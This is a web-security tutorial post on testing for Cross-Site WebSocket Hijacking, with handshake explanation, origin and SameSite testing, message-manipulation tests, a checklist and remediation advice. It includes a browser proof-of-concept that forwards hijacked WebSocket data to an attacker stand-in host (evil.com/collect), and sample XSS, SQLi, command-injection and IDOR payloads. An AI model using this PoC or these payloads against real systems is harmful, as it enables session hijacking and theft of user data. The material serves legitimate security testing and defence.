Cross-Site WebSocket Hijacking (CSWSH): Pentests and PoCs

WebSocket hijacking (CSWSH): pentest with Origin and SameSite verification, in-browser PoC, message manipulation and IDOR, XSS, SQLi, payload and remediation testing.
- Posted on 2026-03-20
- Reading time: 13 min
WebSocket Hijacking (CSWSH): Origin Verification and PoC in Browsers #
WebSocket Hijacking —or Cross-Site WebSocket Hijacking (CSWSH) —is a vulnerability in which a server accepts an authenticated WebSocket connection (via session cookies) without verifying the origin of the request. The result, when all conditions are met, is that a malicious website can open a persistent two-way connection to the target application using the victim's session, without the victim's knowledge.
Unlike a classic CSRF attack, here it's not enough to simply "send an unauthorized request": the connection remains open, and if there's no control, the attacker receives a continuous stream of data in real time—not a single response, but everything the channel sends as long as it stays connected.
We're addressing this on two distinct levels, as it's the most common error in this type of testing: CSWSH (connection hijacking, an authentication/authorization issue in the handshake) and application message vulnerabilities (XSS, SQLi, IDOR, command injection within WebSocket messages) are two different families of bugs. A poorly validated WebSocket payload doesn't prove CSWSH, and a handshake without Origin checks doesn't automatically prove you can read sensitive data—they must be proven separately, each with their own criteria.
Operational Satellite of the Pillar Guide API & Modern Web Attacks . See also: CSRF , CORS Misconfiguration , XSS.
References: PortSwigger WebSocket Security , PortSwigger Cross-Site WebSocket Hijacking , OWASP WebSocket Security Cheat Sheet , OWASP WSTG — Testing WebSockets , HackTricks CSWSH , RFC 6455 — The WebSocket Protocol.
How the protocol works — what really happens in the handshake #
A WebSocket arises from a normal HTTP request that asks for a protocol “upgrade”:
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Cookie: session=VICTIM_COOKIE
Origin: https://evil.comIf the server accepts, it responds 101 Switching Protocols and from that moment on the underlying TCP connection stops speaking HTTP: it becomes a bidirectional frame-based channel, where client and server exchange messages freely as long as the connection remains open.
Points to understand well, because this is where the technical audit most often fails:
- The cookie is automatically included by the browser, as with any HTTP request to that domain — this is true and changes nothing from CSRF.
- There is no Same-Origin Policy that prevents the connection from being opened: any page, on any domain, can run
new WebSocket("wss://target.com/...")But this doesn't mean that the WebSocket protocol is devoid of any origin-based security model — it means that the responsibility for enforcing it is shifted entirely to the server side, via header verification.Originduring the handshake. It's a subtle but important difference to explain properly in a technical article. OriginIt's not the only possible defense. A robust server can combine verification ofOriginwith anti-CSRF token in the handshake (e.g. in query string or custom header), with policiesSameSiteon the session cookie, and with explicit post-handshake authentication (token exchanged after the upgrade, not derived only from the cookie).SameSiteIt is an additional defense, not a replacement for validation.Origin.SameSite=StrictLimits sending the cookie to same-site requests.SameSite=Laxallows some first-level cross-site navigation, but normally immense Sends the cookie in a JavaScript-initiated WebSocket connection to an external site—which is not a top-level navigation. If the attribute is missing, don't assume consistent behavior: check the actual cookie configuration and the behavior of the browser under test.same-siteit does not meansame-origin. An untrusted subdomain (e.g.blog.target.comcompared toapp.target.com) can be cross origin compared to the application and still remain same-site: in that caseSameSiteIt doesn't block anything. The mitigation that really matters remains the rigorous validation ofOriginin the handshake, along with an anti-CSRF mechanism and application authentication/authorization —SameSiteit's an extra level, not the perimeter.
Discovery — Mapping the WebSocket Surface #
# Burp Suite: Proxy -> HTTP history, filtra per "Upgrade: websocket"
# oppure Target -> WebSockets history (tab dedicata nelle versioni recenti)
# DevTools del browser: Network -> filtro "WS"
# Nel codice JS lato client, grep per i costruttori:
grep -rn "new WebSocket(" .
grep -rn "io.connect(\|io(" . # Socket.IO usa un layer applicativo sopra WSCommon URL patterns to look for:
wss://target.com/ws
wss://target.com/chat
wss://target.com/realtime
wss://target.com/socket.io/?transport=websocket
wss://api.target.com/v2/streamNote on Socket.IO: It is not pure WebSocket. It adds its own application protocol on top (initial long-polling HTTP handshake, then upgraded, with its own framing and namespace). The origin and authentication tests remain conceptually identical, but the message structure (42["event_name", data]) is different from a native WebSocket payload — take this into account when rebuilding the protocol.
Testing Origin Control — and Why a 101 Alone Isn't Enough #
This is the most misunderstood point of the entire class of vulnerabilities, so let's address it in order.
Step 1 — Testing the handshake with malicious Origin #
# websocat: https://github.com/vi/websocat
websocat -H "Origin: https://evil.com" -H "Cookie: session=VALID_SESSION_COOKIE" \
"wss://target.com/ws"If the connection is accepted (you receive a response frame, not a 403/immediate closure), you have confirmed a specific fact: the server does not verify (or verifies incorrectly) the header Origin in the handshakeThis is a necessary prerequisite for CSWSH — it is not proven CSWSH.
websocat It's a command line client: set the header manually Origin and the cookie you provide to it. Its success proves that the server it's permissive, not that a real browser, on a malicious domain, with the victim's session already present in its cookies target.com, can do the same thing. For that, you need the browser-based PoC (next section).
A detail not to be confused: the Sec-WebSocket-Key randomly generated by the client in the handshake It is not an anti-CSRF token. It is used by the RFC 6455 protocol confirmation mechanism (the server re-processes it in Sec-WebSocket-Accept), does not in any way prove that the request came from an authorized page — do not look for this as “proof” of legitimacy when testing.
Step 2 — Isolate the variable: is the cookie really arriving in a cross-site context? #
Un curl To the login endpoint, it doesn't mimic the context of an authenticated browser and doesn't reliably tell you whether that cookie will be sent in the cross-site WebSocket handshake. Instead, check directly in your browser:
1. Apri DevTools -> Application/Storage -> Cookies, dopo un login riuscito
nell'applicazione target.
2. Controlla per il cookie di sessione: Domain, Path, SameSite, Secure, scadenza.
3. Ripeti il login osservando la tab Network per confermare che il cookie
sia stato effettivamente impostato dalla risposta di login.
4. Solo dopo, esegui la PoC in browser (sezione successiva) e osserva
nella tab Network/WS se il cookie compare davvero nella richiesta
di handshake verso il dominio target.SameSite=Strict→ the cookie immense It is sent in a cross-site request initiated from another domain. The browser attack, in its basic form, does not work—regardless ofOrigin.SameSite=Lax(default in modern browsers if the attribute is missing) → normally immense Sends the cookie in a WebSocket connection opened via JavaScript from an external site, because it isn't a top-level navigation. However, it's important to verify empirically: third-party cookie policies vary by browser and version.SameSite=None(requiresSecure) → the cookie is sent cross-site. Here the controlOriginserver-side is the only real barrier left.- In any case, remember the point above: same-site is not same-originA cross-origin but same-site subdomain can still send the cookie even with
Strict.
Step 3 — Verify pre-authentication access #
# Prova a connetterti SENZA alcun cookie
websocat "wss://target.com/ws"Caution is needed here: receiving something without cookies isn't automatically a vulnerability. Distinguish between public data that the application intentionally exposes without logging in (e.g., an online user counter, a public price ticker) and data that should be confidential. The test is successful only if you demonstrate that a resource or action that is confidential by design can be reached without authentication—it's not enough for the channel to respond.
PoC in browsers – the proof that really matters #
A command line PoC with websocat demonstrates a permissive server. A PoC that demonstrates CSWSH really exploitable It must run in a browser, on a different origin, using only what the browser would do automatically — no manually set headers.
<!-- hosted on https://evil.com/poc.html -->
<script>
// IMPORTANT: the WebSocket constructor only takes (url, protocols) —
// there is no "credentials" option like in the Fetch API. Cookies for
// target.com are attached automatically by the browser if SameSite
// policy allows it in this cross-site context. Nothing to configure here.
const ws = new WebSocket("wss://target.com/ws");
ws.onopen = () => {
console.log("[+] Connection established from evil.com");
};
ws.onmessage = (event) => {
console.log("[+] Data received:", event.data);
// Exfiltrate to attacker-controlled endpoint
fetch("https://evil.com/collect", {
method: "POST",
body: event.data
});
};
ws.onerror = (e) => console.log("[-] Connection failed:", e);
ws.onclose = (e) => console.log("[-] Closed, code:", e.code);
</script>Open this page from a real browser (not from the same machine where you logged in as a test — use two separate profiles/browsers to really simulate victim and attacker), with a valid session already open on target.com in that browser. Only if ws.onmessage receives real application data you have an end-to-end confirmed CSWSH: handshake accepted, cookie sent by browser in cross-site context, server not verifying Origin, and sensitive data actually exfiltrated.
If the channel requires you to send an application message before receiving data (e.g. a “subscribe” or “get_profile” command), you can’t guess it : it must be reconstructed by observing legitimate traffic (next section) before writing it to the PoC.
Rebuild the application protocol — before exploiting it #
WebSocket only defines the transport. What each message means is decided by the application, and varies from target to target: there are no "universal" commands like {"action":"get_profile"} that work everywhere — any example payloads in this guide are illustrative of the format, not a command to be copied against a real target.
To rebuild it:
# 1. In Burp Suite: apri la tab WebSockets history mentre usi l'applicazione
# normalmente (loggato, come utente legittimo)
# 2. Osserva ogni messaggio inviato dal client e ogni risposta del server
# 3. Annota: quali campi identificano una risorsa (user_id, channel_id, order_id...)
# quali sono comandi/azioni (action, type, event)
# quale struttura ha una risposta di successo vs un errore
# In alternativa, da codice JS lato client (se non minificato):
grep -n "ws.send\|\.emit(" app.jsOnly after observing the target's real protocol can you build targeted test payloads (replace a user_id, inject into a text field, etc.) with certainty about what should happen under normal conditions — which is the only way to recognize an anomaly when you inject it.
Message Manipulation — each class must be demonstrated on its own #
Once the protocol is rebuilt, you can modify and resend individual WebSocket messages in Burp Repeater (right-click a message in the WebSockets history → Send to Repeater ). This is the critical point of the audit: simply sending a payload does not prove the vulnerability . You need to observe the effect.
IDOR via WebSocket #
// Legitimate message observed in normal traffic
{"action": "get_orders", "user_id": 1337}
// -> returns your own orders
// Modified in Repeater
{"action": "get_orders", "user_id": 1}IDOR confirmed only if the response actually contains data belonging to user_id: 1 and not an authorization error or an empty payload. If the server validates user_id against the authenticated session (ignoring the value in the message), the test is negative — and should be reported as such, not omitted.
XSS via WebSocket message #
{"message": "<img src=x onerror=alert(document.domain)>"}Just try something if the client (of another user reading that message in chat) renders the content as HTML rather than escaped text. Check the receiving client's DOM, not just the sending: if the app uses textContent instead of innerHTML To display messages, this payload does nothing, no matter how many WebSockets it traverses.
SQL injection via WebSocket message #
{"message": "test' OR '1'='1"}The channel is just the transport. Standard SQLi evidence is needed: an SQL syntax error in the response, a reproducible Boolean behavior difference, or a confirmed time-based response—just as you would test SQLi on any HTTP parameter.
Command injection via WebSocket message #
{"action": "ping", "host": "127.0.0.1; id"}A field host that accepts ; id don't try anything until you observe the effect of the injected command (output in the response, side-channel as a measurable delay with ; sleep 5, or an OOB interaction). If the backend passes the value to a library that does resolve/ping without invoking a shell, this payload produces no executed commands.
Unauthorized commands (privilege escalation on messages) #
// If the application exposes admin-only actions over the same WebSocket channel
{"action": "delete_user", "target_id": 42}
{"action": "promote_admin", "user_id": 1337}Test only if you have observed (or suspect, from the application context) that certain action They are reserved for privileged roles. Confirm only if the action actually takes effect on the server side for a user who shouldn't have permission to do so—a mistake. 403/unauthorized in the answer is a negative test.
Post-handshake authentication #
Some applications don't trust the cookie alone to authenticate the channel: after the upgrade, the client must send an explicit token.
// Server, right after 101 Switching Protocols:
{"type": "auth", "token": "?"}
// Expected client response:
{"type": "auth", "token": "<JWT_OR_SESSION_TOKEN>"}Tests to perform:
# 1. Non inviare alcun token dopo la connessione -> ricevi comunque dati applicativi?
# Se sì: l'autenticazione post-handshake è assente o non enforced.
# 2. Invia un token scaduto o manomesso -> il server chiude la connessione
# o continua a servire dati? Un close code come 1008 Policy Violation
# e' un possibile segnale, non l'unico esito accettabile: la verifica
# decisiva e' che il server non restituisca dati protetti e non esegua
# azioni non autorizzate, qualunque sia il close code usato.
# 3. Dopo un logout lato applicazione (invalidazione sessione), il WebSocket
# già aperto resta vivo? Molte implementazioni non lo chiudono: è un
# problema di session management distinto da CSWSH, ma va riportato.Technical Note: The API WebSocket native browser (new WebSocket(url, protocols)) does not allow arbitrary HTTP headers in the handshake—you can't pass an authentication token as a custom header from client-side JavaScript. If the target application uses a token in the handshake, it typically comes from a query string or subprotocol; if it exchanges it in the first post-connection message (as in the example above), the security criterion is the same: the server must not serve any protected data before that token has been validated.
Observed output — laboratory example (simulated) #
The following values are constructed to illustrate the form of a response, not copied from a real system. Labels and emails are placeholders.
# Simulated CSWSH confirmation against a lab target
$ websocat -H "Origin: https://evil.com" -H "Cookie: session=PLACEHOLDER_SESSION" \
"wss://lab.local/realtime"
{"type":"notification","data":{"text":"New order #EXAMPLE-001 - placeholder amount"}}
{"type":"user_update","data":{"email":"admin@lab.local","last_login":"EXAMPLE_TIMESTAMP"}}What this output proves, and nothing more: the handshake was accepted with a Origin external and manually provided cookies, and the channel returned application data related to the user of that session. This alone does not prove that a real browser on an external domain would have sent that cookie: that's what the in-browser PoC in the previous section is for, performed and verified separately.
Impact chains — conditional, non-automatic scenarios #
The following chains are possible , not guaranteed by the "missing Origin check" alone. Each step has a prerequisite that must be verified individually before reporting it as a real impact.
CSWSH on trading platform → execution of unauthorized orders (conditional scenario) #
Prerequisito 1: CSWSH confermato in browser (non solo da websocat)
Prerequisito 2: il canale espone lettura di posizioni/ordini pendenti
Prerequisito 3: il canale accetta anche comandi di scrittura (invio ordini)
senza autenticazione aggiuntiva post-handshake
Prerequisito 4: nessun secondo fattore (conferma via altro canale, es. push/email)
richiesto per eseguire un ordine
Se e solo se tutti i prerequisiti reggono:
-> un attaccante può leggere posizioni e inviare ordini come la vittima
-> impatto da descrivere come esecuzione di ordini non autorizzati con furto di
sessione; parlare di "market manipulation" richiede evidenza di un effetto
misurabile sul mercato, che un singolo test di laboratorio non dimostra —
non estendere la conclusione oltre quello che hai osservatoCSWSH + XSS stored via message → propagation in chat (conditional scenario) #
Prerequisito 1: CSWSH confermato (per inviare un messaggio come la vittima)
Prerequisito 2: il client di chat renderizza il contenuto del messaggio come HTML,
senza sanitizzazione (XSS confermato separatamente, vedi sopra)
Prerequisito 3: il payload XSS, una volta eseguito nel browser di un altro utente,
può a sua volta aprire un nuovo WebSocket e ripetere l'invio
Se e solo se tutti i prerequisiti reggono:
-> propagazione potenzialmente self-replicating nel canale chat
-> il comportamento autoreplicante NON è una conclusione automatica: va
dimostrato con un numero controllato di "vittime" simulate in laboratorio
e documentato come catena distinta, prima di comparire in un reportNever present these chains as the automatic consequence of a handshake without Origin control: this is exactly the mistake that causes a report to lose technical credibility.
Simulated demonstration scenario #
This scenario is designed to illustrate how the methodology steps are chained together—it's not an actual test run against a production system, nor against a specific lab environment documented here. Treat it as an educational example of the correct sequence, not as a report.
Hypothetical scenario: Project management application with integrated chat.
Step 1 (hypothetical): WebSocket handshake towards wss://lab.local/realtime with Origin: https://attacker-lab.local and cookies of a test user. If the connection is accepted (101 Switching Protocols, no closure for invalid Origin), the “permissive server” prerequisite would be met.
Step 2 (hypothetical): HTML page on a second domain, opened in a browser with a user session already active on lab.localIf the WebSocket automatically connected with the session cookie and received real application notifications (new tasks, mentions), this would constitute end-to-end evidence of CSWSH—not just step 1.
Step 3 (hypothetical): if the field text chat messages were not sanitized client-side before rendering, a payload <img src=x onerror=...> sent via WebSocket could execute in the browser of another user connected to the channel — this should be checked as a distinct stored XSS, with its own evidence (execution observed in the receiving DOM).
Scenario limitations: This does not cover propagation persistence beyond a few simulated users or behavior under realistic load; any real-world testing on a specific environment must re-verify actual rate limiting, WAF, and CSP, which are not assumed here.
What it would demonstrate, if executed and confirmed: CSWSH (missing Origin check + cookie sent cross-site in a real browser) and XSS stored in the chat channel (missing client-side sanitization) remain two distinct vulnerabilities, to be reported and demonstrated separately in the report, linked only in the impact section.
Summary of evidence for the report #
| Evidence collected | Conclusion you can write |
|---|---|
Handshake accepted with Origin external from CLI client (websocat) | The server accepts that value Origin from the tested client — nothing else |
| PoC in browser: cookie sent automatically and secure data received | Evidence of end-to-end CSWSH, within the limits of the tested environment |
| Message manipulated but response denied/authorization error | The hypothesized vulnerability is not demonstrated by that test — report it as a negative test |
| Corrupted message that returns data from another user | Evidence of a clearance violation distinct from the CSWSH |
Operational Workflow #
Step 1 — Map the channels. Burp WebSockets history or DevTools → Network/WS, for each connection: path, data type, native WebSocket or Socket.IO.
Step 2 — Verifica SameSite on the session cookie. Determine whether a cross-site browser attack is theoretically possible before investing time in a PoC.
Step 3 — Test Origin from the terminal. websocat with Origin external and valid cookie: only confirms server permissiveness.
Step 4 — In-browser PoC. HTML page on a separate domain, no manually forced headers, real victim session in the test browser. Only this step confirms end-to-end CSWSH.
Step 5 — Reconstruct the application protocol by observing legitimate traffic before building targeted test payloads.
Step 6 — Test message vulnerability classes (IDOR, XSS, SQLi, command injection, post-handshake auth) separately from CSWSH , each with its own confirmatory evidence.
Step 7 — Document each impact chain with its explicit prerequisites , distinguishing between demonstrated and conditional scenarios.
WebSocket Hijacking / CSWSH Checklist #
DISCOVERY
[ ] Tutti gli endpoint WebSocket identificati (wss://, ws://)
[ ] Socket.IO vs WebSocket nativo distinto
[ ] Tipo di dati per canale classificato (chat, notifiche, trading, dashboard)
PREREQUISITI
[ ] Attributo SameSite del cookie di sessione verificato
[ ] Origin testato da terminale (websocat) -- conferma solo permissività server
[ ] Autenticazione pre-handshake testata (connessione senza cookie)
CSWSH -- CONFERMA REALE
[ ] PoC HTML eseguita in browser reale, su dominio separato, nessun header forzato
[ ] Dati applicativi reali ricevuti in ws.onmessage, non solo connessione aperta
[ ] Protocollo applicativo ricostruito da traffico osservato, non inventato
AUTENTICAZIONE POST-HANDSHAKE
[ ] Comportamento senza token testato
[ ] Comportamento con token scaduto/invalido testato
[ ] Comportamento dopo logout applicativo (WebSocket già aperto) testato
MESSAGGI -- OGNI CLASSE TESTATA E CONFERMATA SEPARATAMENTE
[ ] IDOR: risposta contiene dati di un altro utente, non solo payload modificato inviato
[ ] XSS: eseguito nel DOM del client ricevente, non solo payload accettato dal server
[ ] SQLi: evidenza standard (errore, booleano, time-based), non solo apostrofo inviato
[ ] Command injection: effetto osservato (output, delay, OOB), non solo payload inviato
[ ] Azioni privilegiate: effetto reale confermato per utente non autorizzato
IMPATTO E REPORTING
[ ] Ogni catena d'impatto riporta i suoi prerequisiti espliciti
[ ] Output simulato/di laboratorio etichettato come tale, nessun dato reale riusato
[ ] Scenario condizionale distinto da scenario dimostratoRemediation #
- Verifica
Originon every handshake against an explicit allowlist of authorized domains — never a blocklist, never a permissive regex check on substrings. - Don't trust the cookie alone: require an explicit token exchanged after the upgrade (
{"type":"auth","token":"..."}) and verify it before serving any data. SameSite=StrictoLaxon the session cookie where the application flow allows it, moreSecureeHttpOnly.- Authorization on every message, not only at the time of connection: every
action/user_id/channel_idreceived in the channel must be validated against the identity of the authenticated session, exactly like a REST endpoint. - Sanitize output before client-side rendering: if a message may contain free text from other users, treat it as untrusted HTML (
textContent, NotinnerHTML; or a sanitization library if limited markup is needed). - Close the WebSocket on logout or session expiration, not just the REST endpoint — a persistent connection opened before logout remains a valid channel unless explicitly invalidated.
- Logging and rate limiting on WebSocket connections and messages per channel, to detect anomalous patterns (repeated connections from different origins, abnormal message volumes on a single channel).
Operational Satellite of the Pillar Guide API & Modern Web Attacks . See also: CSRF , CORS Misconfiguration , XSS.
References: PortSwigger WebSocket Security , PortSwigger Cross-Site WebSocket Hijacking , OWASP WebSocket Security Cheat Sheet , OWASP WSTG — Testing WebSockets , HackTricks CSWSH , RFC 6455 — The WebSocket Protocol.








